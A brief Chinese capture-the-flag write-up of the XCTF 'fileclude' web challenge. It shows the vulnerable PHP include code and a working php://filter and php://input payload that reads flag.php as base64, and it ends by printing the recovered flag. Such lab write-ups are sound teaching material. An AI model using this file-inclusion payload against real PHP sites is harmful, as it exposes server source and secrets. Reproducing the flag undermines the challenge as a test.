攻防世界WEB练习-fileclude
Posted 「已注销」
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了攻防世界WEB练习-fileclude相关的知识,希望对你有一定的参考价值。
目录
题目场景
分析代码
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
if(file_get_contents($file2) === "hello ctf") //要求返回值为hello ctf
include($file1);
else
die("NONONO");
解决思路
文件包含漏洞位于file1与file2两个变量中。其中,file2被放入了file_get_contents函数中,并要求返回值为hello ctf,我们可以用php://input来绕过;而file1被放入include函数中,并且根据题目提示,我们应该获取当前目录下flag.php的文件内容。因此我们可以使用php://filter伪协议来读取源代码。最终可以得到flag.php经过Base64编码后的结果
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
base64解码
找到flag
cyberpeace7eaf71673582b983c07fabf14e1852b0
以上是关于攻防世界WEB练习-fileclude的主要内容,如果未能解决你的问题,请参考以下文章